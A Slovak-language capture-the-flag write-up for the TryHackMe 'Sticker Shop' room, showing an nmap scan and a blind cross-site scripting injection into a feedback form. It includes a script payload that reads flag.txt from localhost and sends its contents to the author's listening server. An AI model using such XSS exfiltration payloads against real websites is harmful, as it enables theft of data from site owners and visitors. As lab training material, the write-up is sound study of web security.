Príspevok

TryHackMe - The Sticker Shop (Obchod s nálepkami)

Jednoduchý návod ako na ❌ Cross-Site Scripting pre túto výzvu

TryHackMe - The Sticker Shop (Obchod s nálepkami)

Úvod

Dokážete zneuužiť obchod s nálepkami na získanie vlajky?

Tryhackme Room Link

Vaša miestna predajňa nálepiek konečne vytvorila vlastnú webovú stránku. S vývojom webu nemajú príliš veľa skúseností a tak sa rozhodli všetko vyvíjať a hostovať na tom istom počítači, ktorý používajú na prehliadanie internetu a sledovanie spätnej väzby od zákazníkov. Šikovný ťah!

Nmap

Začnime skenovaním otvorených portov:

1
2
3
4
5
6
7
8
9
10
11
nmap -T4 -n -sC -sV -Pn -p- 10.10.10.243
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b2:54:8c:e2:d7:67:ab:8f:90:b3:6f:52:c2:73:37:69 (RSA)
|   256 14:29:ec:36:95:e5:64:49:39:3f:b4:ec:ca:5f:ee:78 (ECDSA)
|_  256 19:eb:1f:c9:67:92:01:61:0c:14:fe:71:4b:0d:50:40 (ED25519)
8080/tcp open  http    Werkzeug httpd 3.0.1 (Python 3.8.10)
|_http-title: Cat Sticker Shop
|_http-server-header: Werkzeug/3.0.1 Python/3.8.10
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Keďže záložný HTTP port je otvorený, môžeme navštíviť webovú stránku cez 10.10.10.243:8080.

Skúsme navštíviť 10.10.10.243:8080/flag.txt Slash Flag.txt

Navštívme podstránku Feedback Submit Page

Cross-Site Scripting

Skúsme nejaké to XSS

Spusťme si python server lokálne na našom stroji a pokúsime sa naň napojiť cez web pomocou funkcie fetch skriptom:

1
python3 -m http.server 8000

A odošleme náš skript:

1
</textarea><script>fetch('http://10.11.75.122:8000');</script>

Dostali sme odpoveď, čo znamená, že máme zraniteľnosť Blind XSS.

Submit Page

Teraz sa môžeme pokúsiť vytvoriť tzv. payload, ktorý bude vyzerať takto:

1
</textarea><script>async function a() {const res1 = await fetch('http://127.0.0.1:8080/flag.txt');const b = await res1.text();const res2 = await fetch('http://10.11.75.122:8000?a=' + b);}a();</script>
Vysvetlenie:
  1. Načíta súbor flag.txt z http://127.0.0.1:8080/flag.txt.
  2. Prečíta jeho obsah ako text.
  3. Odošle ukradnutý obsah ako parameter dotazu (a=<OUR_FLAG>) na adresu http://10.11.75.122:8000 (Náš útočný stroj).

Vlajka

Po lokálnom spustení nášho python servera a vložení nášho “payloadu” získavame vlajku.

Submit Page


Tento príspevok je licencovaný pod CC BY 4.0 autorom.